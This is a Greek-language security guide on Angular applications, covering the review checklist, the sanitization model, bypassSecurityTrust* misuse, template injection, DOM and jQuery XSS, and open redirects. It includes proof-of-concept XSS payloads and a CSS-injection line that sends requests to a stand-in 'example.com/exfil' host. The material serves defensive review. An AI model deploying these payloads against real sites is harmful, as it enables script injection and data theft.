Angular

Reading time: 19 minutes

The Checklist

Checklist from here.

  • Το Angular θεωρείται ένα framework πλευράς πελάτη και δεν αναμένεται να παρέχει προστασία πλευράς διακομιστή
  • Το sourcemap για τα scripts είναι απενεργοποιημένο στη ρύθμιση του έργου
  • Η μη αξιόπιστη είσοδος χρήστη πάντα διαμεσολαβείται ή καθαρίζεται πριν χρησιμοποιηθεί σε πρότυπα
  • Ο χρήστης δεν έχει έλεγχο πάνω σε πρότυπα πλευράς διακομιστή ή πλευράς πελάτη
  • Η μη αξιόπιστη είσοδος χρήστη καθαρίζεται χρησιμοποιώντας ένα κατάλληλο πλαίσιο ασφαλείας πριν γίνει αξιόπιστη από την εφαρμογή
  • Οι μέθοδοι BypassSecurity* δεν χρησιμοποιούνται με μη αξιόπιστη είσοδο
  • Η μη αξιόπιστη είσοδος χρήστη δεν μεταβιβάζεται σε κλάσεις Angular όπως ElementRef, Renderer2 και Document, ή άλλες πηγές JQuery/DOM

What is Angular

Το Angular είναι ένα ισχυρό και ανοιχτού κώδικα framework front-end που διατηρείται από την Google. Χρησιμοποιεί TypeScript για να βελτιώσει την αναγνωσιμότητα του κώδικα και την αποσφαλμάτωση. Με ισχυρούς μηχανισμούς ασφαλείας, το Angular αποτρέπει κοινές ευπάθειες πλευράς πελάτη όπως XSS και ανοιχτές ανακατευθύνσεις. Μπορεί να χρησιμοποιηθεί και στην πλευρά του διακομιστή, καθιστώντας τις ασφαλιστικές παρατηρήσεις σημαντικές από και τις δύο πλευρές.

Framework architecture

Για να κατανοήσουμε καλύτερα τα βασικά του Angular, ας περάσουμε από τις βασικές του έννοιες.

Ένα κοινό έργο Angular συνήθως φαίνεται έτσι:

bash
my-workspace/
├── ... #workspace-wide configuration files
├── src
│   ├── app
│   │   ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
│   │   ├── app.component.ts #defines the logic for the application's root component
│   │   ├── app.component.html #defines the HTML template associated with the root component
│   │   ├── app.component.css #defines the base CSS stylesheet for the root component
│   │   ├── app.component.spec.ts #defines a unit test for the root component
│   │   └── app-routing.module.ts #provides routing capability for the application
│   ├── lib
│   │   └── src #library-specific configuration files
│   ├── index.html #main HTML page, where the component will be rendered in
│   └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace

Σύμφωνα με την τεκμηρίωση, κάθε εφαρμογή Angular έχει τουλάχιστον ένα συστατικό, το ριζικό συστατικό (AppComponent) που συνδέει μια ιεραρχία συστατικών με το DOM. Κάθε συστατικό ορίζει μια κλάση που περιέχει δεδομένα και λογική της εφαρμογής και σχετίζεται με ένα HTML template που ορίζει μια προβολή που θα εμφανίζεται σε ένα στοχευμένο περιβάλλον. Ο διακοσμητής @Component() αναγνωρίζει την κλάση αμέσως από κάτω του ως συστατικό και παρέχει το template και σχετικές μεταδεδομένες πληροφορίες που είναι συγκεκριμένες για το συστατικό. Το AppComponent ορίζεται στο αρχείο app.component.ts.

Τα Angular NgModules δηλώνουν ένα πλαίσιο μεταγλώττισης για ένα σύνολο συστατικών που είναι αφιερωμένο σε έναν τομέα εφαρμογής, μια ροή εργασίας ή ένα στενά σχετιζόμενο σύνολο δυνατοτήτων. Κάθε εφαρμογή Angular έχει ένα ριζικό module, που ονομάζεται συμβατικά AppModule, το οποίο παρέχει τον μηχανισμό εκκίνησης που εκκινεί την εφαρμογή. Μια εφαρμογή συνήθως περιέχει πολλά λειτουργικά modules. Το AppModule ορίζεται στο αρχείο app.module.ts.

Το Angular Router NgModule παρέχει μια υπηρεσία που σας επιτρέπει να ορίσετε μια διαδρομή πλοήγησης μεταξύ των διαφορετικών καταστάσεων εφαρμογής και ιεραρχιών προβολών στην εφαρμογή σας. Το RouterModule ορίζεται στο αρχείο app-routing.module.ts.

Για δεδομένα ή λογική που δεν σχετίζονται με μια συγκεκριμένη προβολή και θέλετε να μοιραστείτε μεταξύ των συστατικών, δημιουργείτε μια κλάση υπηρεσίας. Ο ορισμός μιας κλάσης υπηρεσίας προηγείται αμέσως από τον διακοσμητή @Injectable(). Ο διακοσμητής παρέχει τα μεταδεδομένα που επιτρέπουν σε άλλους παρόχους να εισάγονται ως εξαρτήσεις στην κλάση σας. Η εξάρτηση εισαγωγής (DI) σας επιτρέπει να διατηρείτε τις κλάσεις συστατικών σας λιτές και αποδοτικές. Δεν ανακτούν δεδομένα από τον διακομιστή, δεν επικυρώνουν την είσοδο του χρήστη ή δεν καταγράφουν απευθείας στην κονσόλα; αναθέτουν τέτοιες εργασίες σε υπηρεσίες.

Ρύθμιση sourcemap

Το πλαίσιο Angular μεταφράζει αρχεία TypeScript σε κώδικα JavaScript ακολουθώντας τις επιλογές του tsconfig.json και στη συνέχεια κατασκευάζει ένα έργο με τη ρύθμιση του angular.json. Κοιτάζοντας το αρχείο angular.json, παρατηρήσαμε μια επιλογή για να ενεργοποιήσουμε ή να απενεργοποιήσουμε ένα sourcemap. Σύμφωνα με την τεκμηρίωση του Angular, η προεπιλεγμένη ρύθμιση έχει ένα αρχείο sourcemap ενεργοποιημένο για τα scripts και δεν είναι κρυφό από προεπιλογή:

json
"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}

Γενικά, τα αρχεία sourcemap χρησιμοποιούνται για σκοπούς αποσφαλμάτωσης καθώς αντιστοιχούν στα παραγόμενα αρχεία με τα αρχικά τους αρχεία. Επομένως, δεν συνιστάται η χρήση τους σε περιβάλλον παραγωγής. Εάν τα sourcemaps είναι ενεργοποιημένα, βελτιώνουν την αναγνωσιμότητα και βοηθούν στην ανάλυση αρχείων αναπαράγοντας την αρχική κατάσταση του έργου Angular. Ωστόσο, εάν είναι απενεργοποιημένα, ένας αναθεωρητής μπορεί να αναλύσει χειροκίνητα ένα συμπιεσμένο αρχείο JavaScript αναζητώντας αντιασφαλιστικά μοτίβα.

Επιπλέον, ένα συμπιεσμένο αρχείο JavaScript με ένα έργο Angular μπορεί να βρεθεί στα εργαλεία προγραμματιστή του προγράμματος περιήγησης → Πηγές (ή Αποσφαλμάτωσης και Πηγές) → [id].main.js. Ανάλογα με τις ενεργοποιημένες επιλογές, αυτό το αρχείο μπορεί να περιέχει την παρακάτω γραμμή στο τέλος //# sourceMappingURL=[id].main.js.map ή μπορεί να μην την περιέχει, εάν η κρυφή επιλογή είναι ρυθμισμένη σε true. Παρ' όλα αυτά, εάν το sourcemap είναι απενεργοποιημένο για scripts, η δοκιμή γίνεται πιο περίπλοκη και δεν μπορούμε να αποκτήσουμε το αρχείο. Επιπλέον, το sourcemap μπορεί να ενεργοποιηθεί κατά την κατασκευή του έργου όπως ng build --source-map.

Δεσμεύσεις δεδομένων

Η δέσμευση αναφέρεται στη διαδικασία επικοινωνίας μεταξύ ενός συστατικού και της αντίστοιχης προβολής του. Χρησιμοποιείται για τη μεταφορά δεδομένων προς και από το πλαίσιο Angular. Τα δεδομένα μπορούν να περαστούν με διάφορους τρόπους, όπως μέσω γεγονότων, παρεμβολής, ιδιοτήτων ή μέσω του μηχανισμού δέσμευσης δύο κατευθύνσεων. Επιπλέον, τα δεδομένα μπορούν επίσης να μοιραστούν μεταξύ σχετικών συστατικών (σχέση γονέα-παιδιού) και μεταξύ δύο άσχετων συστατικών χρησιμοποιώντας τη δυνατότητα Υπηρεσίας.

Μπορούμε να ταξινομήσουμε τη δέσμευση με βάση τη ροή δεδομένων:

  • Πηγή δεδομένων προς στόχο προβολής (περιλαμβάνει παρεμβολή, ιδιότητες, ατομικά χαρακτηριστικά, κλάσεις και στυλ); μπορεί να εφαρμοστεί χρησιμοποιώντας [] ή {{}} στο πρότυπο;
  • Στόχος προβολής προς πηγή δεδομένων (περιλαμβάνει γεγονότα); μπορεί να εφαρμοστεί χρησιμοποιώντας () στο πρότυπο;
  • Δύο κατευθύνσεων; μπορεί να εφαρμοστεί χρησιμοποιώντας [()] στο πρότυπο.

Η δέσμευση μπορεί να καλείται σε ιδιότητες, γεγονότα και ατομικά χαρακτηριστικά, καθώς και σε οποιοδήποτε δημόσιο μέλος μιας πηγής οδηγίας:

ΤΥΠΟΣΣΤΟΧΟΣΠΑΡΑΔΕΙΓΜΑΤΑ
ΙδιότηταΙδιότητα στοιχείου, Ιδιότητα συστατικού, Ιδιότητα οδηγίας<img [alt]="hero.name" [src]="heroImageUrl">
ΓεγονόςΓεγονός στοιχείου, Γεγονός συστατικού, Γεγονός οδηγίας<button type="button" (click)="onSave()">Αποθήκευση
Δύο κατευθύνσεωνΓεγονός και ιδιότητα<input [(ngModel)]="name">
Ατομικό χαρακτηριστικόΑτομικό χαρακτηριστικό (η εξαίρεση)<button type="button" [attr.aria-label]="help">βοήθεια
ΚλάσηΙδιότητα κλάσης<div [class.special]="isSpecial">Ειδικό
ΣτυλΙδιότητα στυλ<button type="button" [style.color]="isSpecial ? 'red' : 'green'">

Μοντέλο ασφάλειας Angular

Ο σχεδιασμός του Angular περιλαμβάνει κωδικοποίηση ή απολύμανση όλων των δεδομένων από προεπιλογή, καθιστώντας όλο και πιο δύσκολο να ανακαλυφθούν και να εκμεταλλευτούν ευπάθειες XSS σε έργα Angular. Υπάρχουν δύο διακριτές περιπτώσεις για την επεξεργασία δεδομένων:

  1. Παρεμβολή ή {{user_input}} - εκτελεί κωδικοποίηση ευαίσθητη στο πλαίσιο και ερμηνεύει την είσοδο του χρήστη ως κείμενο;
jsx
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
{{test}}

Αποτέλεσμα: &lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt; 2. Δέσμευση σε ιδιότητες, ατομικά χαρακτηριστικά, κλάσεις και στυλ ή [attribute]="user_input" - εκτελεί απολύμανση με βάση το παρεχόμενο πλαίσιο ασφαλείας.

jsx
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
<div [innerHtml]="test"></div>

Αποτέλεσμα: <div><h1>test</h1></div>

Υπάρχουν 6 τύποι SecurityContext :

  • None;
  • HTML χρησιμοποιείται, όταν ερμηνεύεται η τιμή ως HTML;
  • STYLE χρησιμοποιείται, όταν δέσμευση CSS στην ιδιότητα style;
  • URL χρησιμοποιείται για ιδιότητες URL, όπως <a href>;
  • SCRIPT χρησιμοποιείται για κώδικα JavaScript;
  • RESOURCE_URL ως URL που φορτώνεται και εκτελείται ως κώδικας, για παράδειγμα, στο <script src>.

Ευπάθειες

Παράκαμψη μεθόδων εμπιστοσύνης ασφαλείας

Ο Angular εισάγει μια λίστα μεθόδων για να παρακάμψει τη διαδικασία προεπιλεγμένης απολύμανσης και να υποδείξει ότι μια τιμή μπορεί να χρησιμοποιηθεί με ασφάλεια σε ένα συγκεκριμένο πλαίσιο, όπως στα παρακάτω πέντε παραδείγματα:

  1. bypassSecurityTrustUrl χρησιμοποιείται για να υποδείξει ότι η δεδομένη τιμή είναι μια ασφαλής διεύθυνση URL στυλ:
jsx
//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');

//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Κάνε κλικ σε μένα</a>

//αποτέλεσμα
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Κάνε κλικ σε μένα</a>
  1. bypassSecurityTrustResourceUrl χρησιμοποιείται για να υποδείξει ότι η δεδομένη τιμή είναι μια ασφαλής διεύθυνση URL πόρου:
jsx
//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");

//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>

//αποτέλεσμα
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
  1. bypassSecurityTrustHtml χρησιμοποιείται για να υποδείξει ότι η δεδομένη τιμή είναι ασφαλές HTML. Σημειώστε ότι η εισαγωγή στοιχείων script στο δέντρο DOM με αυτόν τον τρόπο δεν θα προκαλέσει την εκτέλεση του περιεχόμενου JavaScript κώδικα, λόγω του τρόπου που προστίθενται αυτά τα στοιχεία στο δέντρο DOM.
jsx
//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");

//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>

//αποτέλεσμα
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
  1. bypassSecurityTrustScript χρησιμοποιείται για να υποδείξει ότι η δεδομένη τιμή είναι ασφαλής JavaScript. Ωστόσο, βρήκαμε ότι η συμπεριφορά της είναι απρόβλεπτη, επειδή δεν μπορέσαμε να εκτελέσουμε κώδικα JS σε πρότυπα χρησιμοποιώντας αυτή τη μέθοδο.
jsx
//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");

//app.component.html
<script [innerHtml]="trustedScript"></script>

//αποτέλεσμα
-
  1. bypassSecurityTrustStyle χρησιμοποιείται για να υποδείξει ότι η δεδομένη τιμή είναι ασφαλής CSS. Το παρακάτω παράδειγμα απεικονίζει την εισαγωγή CSS:
jsx
//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');

//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">

//αποτέλεσμα
Request URL: GET example.com/exfil/a

Ο Angular παρέχει μια μέθοδο sanitize για να απολυμαίνει δεδομένα πριν τα εμφανίσει σε προβολές. Αυτή η μέθοδος χρησιμοποιεί το παρεχόμενο πλαίσιο ασφαλείας και καθαρίζει την είσοδο αναλόγως. Είναι, ωστόσο, κρίσιμο να χρησιμοποιείται το σωστό πλαίσιο ασφαλείας για τα συγκεκριμένα δεδομένα και το πλαίσιο. Για παράδειγμα, η εφαρμογή ενός απολυμαντή με SecurityContext.URL σε περιεχόμενο HTML δεν παρέχει προστασία από επικίνδυνες τιμές HTML. Σε τέτοιες περιπτώσεις, η κακή χρήση του πλαισίου ασφαλείας θα μπορούσε να οδηγήσει σε ευπάθειες XSS.

Εισαγωγή HTML

Αυτή η ευπάθεια συμβαίνει όταν η είσοδος του χρήστη δεσμεύεται σε οποιαδήποτε από τις τρεις ιδιότητες: innerHTML, outerHTML, ή iframe srcdoc. Ενώ η δέσμευση σε αυτά τα χαρακτηριστικά ερμηνεύει το HTML όπως είναι, η είσοδος απολυμαίνεται χρησιμοποιώντας SecurityContext.HTML. Έτσι, είναι δυνατή η εισαγωγή HTML, αλλά η διασταυρούμενη σενάριο (XSS) δεν είναι.

Παράδειγμα χρήσης innerHTML:

jsx
//app.component.ts
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}

//app.component.html
<div [innerHTML]="test"></div>

Template injection

Client-Side Rendering (CSR)

Το Angular εκμεταλλεύεται τα templates για να κατασκευάσει σελίδες δυναμικά. Η προσέγγιση περιλαμβάνει την τοποθέτηση εκφράσεων template για να αξιολογηθούν από το Angular μέσα σε διπλές αγκύλες ({{}}). Με αυτόν τον τρόπο, το framework προσφέρει επιπλέον λειτουργικότητα. Για παράδειγμα, ένα template όπως το {{1+1}} θα εμφανίζεται ως 2.

Συνήθως, το Angular διαφεύγει την είσοδο του χρήστη που μπορεί να συγχέεται με εκφράσεις template (π.χ., χαρακτήρες όπως `< > ' " ``). Αυτό σημαίνει ότι απαιτούνται επιπλέον βήματα για να παρακαμφθεί αυτός ο περιορισμός, όπως η χρήση συναρτήσεων που δημιουργούν αντικείμενα συμβολοσειρών JavaScript για να αποφευχθεί η χρήση αποκλεισμένων χαρακτήρων. Ωστόσο, για να το επιτύχουμε αυτό, πρέπει να λάβουμε υπόψη το πλαίσιο του Angular, τις ιδιότητές του και τις μεταβλητές. Επομένως, μια επίθεση template injection μπορεί να φαίνεται ως εξής:

jsx
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})

Όπως φαίνεται παραπάνω: constructor αναφέρεται στο πεδίο της ιδιότητας Object constructor, επιτρέποντάς μας να καλέσουμε τον κατασκευαστή String και να εκτελέσουμε αυθαίρετο κώδικα.

Server-Side Rendering (SSR)

Σε αντίθεση με το CSR, το οποίο συμβαίνει στο DOM του προγράμματος περιήγησης, το Angular Universal είναι υπεύθυνο για το SSR των αρχείων προτύπων. Αυτά τα αρχεία παραδίδονται στη συνέχεια στον χρήστη. Παρά αυτή τη διάκριση, το Angular Universal εφαρμόζει τους ίδιους μηχανισμούς απολύμανσης που χρησιμοποιούνται στο CSR για να ενισχύσει την ασφάλεια του SSR. Μια ευπάθεια εισαγωγής προτύπου στο SSR μπορεί να εντοπιστεί με τον ίδιο τρόπο όπως στο CSR, επειδή η χρησιμοποιούμενη γλώσσα προτύπων είναι η ίδια.

Φυσικά, υπάρχει επίσης η δυνατότητα εισαγωγής νέων ευπαθειών εισαγωγής προτύπων όταν χρησιμοποιούνται τρίτες μηχανές προτύπων όπως το Pug και το Handlebars.

XSS

DOM interfaces

Όπως αναφέρθηκε προηγουμένως, μπορούμε να έχουμε άμεση πρόσβαση στο DOM χρησιμοποιώντας τη διεπαφή Document. Εάν η είσοδος του χρήστη δεν επικυρωθεί εκ των προτέρων, μπορεί να οδηγήσει σε ευπάθειες cross-site scripting (XSS).

Χρησιμοποιήσαμε τις μεθόδους document.write() και document.createElement() στα παραδείγματα παρακάτω:

jsx
//app.component.ts 1
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}

//app.component.ts 2
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}

//app.component.ts 3
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}

Angular classes

Υπάρχουν μερικές κλάσεις που μπορούν να χρησιμοποιηθούν για εργασία με στοιχεία DOM στο Angular: ElementRef, Renderer2, Location και Document. Μια λεπτομερής περιγραφή των τελευταίων δύο κλάσεων παρέχεται στην ενότητα Open redirects. Η κύρια διαφορά μεταξύ των πρώτων δύο είναι ότι το API Renderer2 παρέχει ένα επίπεδο αφαίρεσης μεταξύ του στοιχείου DOM και του κώδικα του συστατικού, ενώ το ElementRef απλώς κρατά μια αναφορά στο στοιχείο. Επομένως, σύμφωνα με την τεκμηρίωση του Angular, το API ElementRef θα πρέπει να χρησιμοποιείται μόνο ως έσχατη λύση όταν απαιτείται άμεση πρόσβαση στο DOM.

  • ElementRef περιέχει την ιδιότητα nativeElement, η οποία μπορεί να χρησιμοποιηθεί για να χειριστεί τα στοιχεία DOM. Ωστόσο, η ακατάλληλη χρήση του nativeElement μπορεί να οδηγήσει σε ευπάθεια XSS, όπως φαίνεται παρακάτω:
tsx
//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
  • Παρά το γεγονός ότι το Renderer2 παρέχει API που μπορεί να χρησιμοποιηθεί με ασφάλεια ακόμη και όταν η άμεση πρόσβαση σε εγγενή στοιχεία δεν υποστηρίζεται, εξακολουθεί να έχει κάποιες αδυναμίες ασφαλείας. Με το Renderer2, είναι δυνατό να ορίσετε χαρακτηριστικά σε ένα στοιχείο HTML χρησιμοποιώντας τη μέθοδο setAttribute(), η οποία δεν έχει μηχανισμούς πρόληψης XSS.
tsx
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}

//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
  • Για να ορίσετε την ιδιότητα ενός στοιχείου DOM, μπορείτε να χρησιμοποιήσετε τη μέθοδο Renderer2.setProperty() και να ενεργοποιήσετε μια επίθεση XSS:
tsx
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}

//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>

Κατά τη διάρκεια της έρευνάς μας, εξετάσαμε επίσης τη συμπεριφορά άλλων μεθόδων Renderer2, όπως setStyle(), createComment(), και setValue(), σε σχέση με XSS και CSS injections. Ωστόσο, δεν μπορέσαμε να βρούμε έγκυρους επιθετικούς διαδρόμους για αυτές τις μεθόδους λόγω των λειτουργικών περιορισμών τους.

jQuery

Το jQuery είναι μια γρήγορη, μικρή και πλούσια σε χαρακτηριστικά βιβλιοθήκη JavaScript που μπορεί να χρησιμοποιηθεί στο έργο Angular για να βοηθήσει με την επεξεργασία των αντικειμένων HTML DOM. Ωστόσο, όπως είναι γνωστό, οι μέθοδοι αυτής της βιβλιοθήκης μπορεί να εκμεταλλευτούν για να επιτευχθεί μια ευπάθεια XSS. Για να συζητήσουμε πώς ορισμένες ευάλωτες μέθοδοι jQuery μπορούν να εκμεταλλευτούν σε έργα Angular, προσθέσαμε αυτή την υποενότητα.

  • Η μέθοδος html() αποκτά το HTML περιεχόμενο του πρώτου στοιχείου στο σύνολο των ταιριασμένων στοιχείων ή ορίζει το HTML περιεχόμενο κάθε ταιριασμένου στοιχείου. Ωστόσο, κατά σχεδίαση, οποιοσδήποτε κατασκευαστής ή μέθοδος jQuery που δέχεται μια HTML συμβολοσειρά μπορεί δυνητικά να εκτελέσει κώδικα. Αυτό μπορεί να συμβεί με την εισαγωγή ετικετών <script> ή τη χρήση HTML χαρακτηριστικών που εκτελούν κώδικα όπως φαίνεται στο παράδειγμα.
tsx
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}

//app.component.html
<button>Click me</button>
<p>some text here</p>
  • Η μέθοδος jQuery.parseHTML() χρησιμοποιεί εγγενείς μεθόδους για να μετατρέψει τη συμβολοσειρά σε ένα σύνολο κόμβων DOM, οι οποίοι μπορούν στη συνέχεια να εισαχθούν στο έγγραφο.
tsx
jQuery.parseHTML(data [, context ] [, keepScripts ])

Όπως αναφέρθηκε προηγουμένως, οι περισσότερες APIs jQuery που δέχονται HTML συμβολοσειρές θα εκτελούν σενάρια που περιλαμβάνονται στην HTML. Η μέθοδος jQuery.parseHTML() δεν εκτελεί σενάρια στην αναλυθείσα HTML εκτός αν το keepScripts είναι ρητά true. Ωστόσο, είναι ακόμα δυνατό σε πολλές περιβάλλοντα να εκτελούνται σενάρια έμμεσα; για παράδειγμα, μέσω του χαρακτηριστικού <img onerror>.

tsx
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}

//app.component.html
<button>Click me</button>
<p id="palias">some text</p>

Open redirects

DOM interfaces

Σύμφωνα με την τεκμηρίωση W3C, τα αντικείμενα window.location και document.location θεωρούνται ψευδώνυμα στους σύγχρονους περιηγητές. Γι' αυτό έχουν παρόμοια υλοποίηση ορισμένων μεθόδων και ιδιοτήτων, οι οποίες μπορεί να προκαλέσουν μια ανοιχτή ανακατεύθυνση και XSS DOM με επιθέσεις σχήματος javascript:// όπως αναφέρεται παρακάτω.

  • window.location.href(και document.location.href)

Ο κανονικός τρόπος για να αποκτήσετε το τρέχον αντικείμενο τοποθεσίας DOM είναι χρησιμοποιώντας το window.location. Μπορεί επίσης να χρησιμοποιηθεί για να ανακατευθύνει τον περιηγητή σε μια νέα σελίδα. Ως αποτέλεσμα, η κατοχή ελέγχου αυτού του αντικειμένου μας επιτρέπει να εκμεταλλευτούμε μια ευπάθεια ανοιχτής ανακατεύθυνσης.

tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>

Η διαδικασία εκμετάλλευσης είναι πανομοιότυπη για τα παρακάτω σενάρια.

  • window.location.assign()(και document.location.assign())

Αυτή η μέθοδος προκαλεί το παράθυρο να φορτώσει και να εμφανίσει το έγγραφο στη διεύθυνση URL που καθορίζεται. Εάν έχουμε έλεγχο σε αυτή τη μέθοδο, μπορεί να είναι μια πηγή για μια επίθεση ανοιχτής ανακατεύθυνσης.

tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
  • window.location.replace()(και document.location.replace())

Αυτή η μέθοδος αντικαθιστά την τρέχουσα πηγή με αυτήν που βρίσκεται στη διεύθυνση URL που παρέχεται.

Αυτό διαφέρει από τη μέθοδο assign() καθώς μετά τη χρήση του window.location.replace(), η τρέχουσα σελίδα δεν θα αποθηκευτεί στο ιστορικό της συνεδρίας. Ωστόσο, είναι επίσης δυνατό να εκμεταλλευτούμε μια ευπάθεια ανοιχτής ανακατεύθυνσης όταν έχουμε έλεγχο σε αυτή τη μέθοδο.

tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
  • window.open()

Η μέθοδος window.open() παίρνει μια διεύθυνση URL και φορτώνει την πηγή που προσδιορίζει σε μια νέα ή υπάρχουσα καρτέλα ή παράθυρο. Η κατοχή ελέγχου σε αυτή τη μέθοδο μπορεί επίσης να είναι μια ευκαιρία για να ενεργοποιήσουμε μια ευπάθεια XSS ή ανοιχτής ανακατεύθυνσης.

tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}

Angular classes

  • Σύμφωνα με την τεκμηρίωση του Angular, το Angular Document είναι το ίδιο με το DOM έγγραφο, που σημαίνει ότι είναι δυνατό να χρησιμοποιηθούν κοινοί διάδρομοι για το DOM έγγραφο για να εκμεταλλευτούμε ευπάθειες πελάτη στο Angular. Οι ιδιότητες και οι μέθοδοι Document.location μπορεί να είναι πηγές για επιτυχείς επιθέσεις ανοιχτής ανακατεύθυνσης όπως φαίνεται στο παράδειγμα:
tsx
//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }

goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
  • Κατά τη διάρκεια της φάσης έρευνας, εξετάσαμε επίσης την κλάση Location του Angular για ευπάθειες ανοιχτής ανακατεύθυνσης, αλλά δεν βρέθηκαν έγκυροι διάδρομοι. Η Location είναι μια υπηρεσία Angular που μπορούν να χρησιμοποιήσουν οι εφαρμογές για να αλληλεπιδράσουν με την τρέχουσα διεύθυνση URL ενός περιηγητή. Αυτή η υπηρεσία έχει πολλές μεθόδους για να χειριστεί τη δεδομένη διεύθυνση URL - go(), replaceState(), και prepareExternalUrl(). Ωστόσο, δεν μπορούμε να τις χρησιμοποιήσουμε για ανακατεύθυνση σε εξωτερικό τομέα. Για παράδειγμα:
tsx
//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}

Αποτέλεσμα: http://localhost:4200/http://google.com/about

  • Η κλάση Router του Angular χρησιμοποιείται κυρίως για πλοήγηση εντός του ίδιου τομέα και δεν εισάγει καμία επιπλέον ευπάθεια στην εφαρμογή:
jsx
//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]

Αποτέλεσμα: http://localhost:4200/https:

Οι παρακάτω μέθοδοι πλοηγούν επίσης εντός του πεδίου του τομέα:

jsx
const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')

References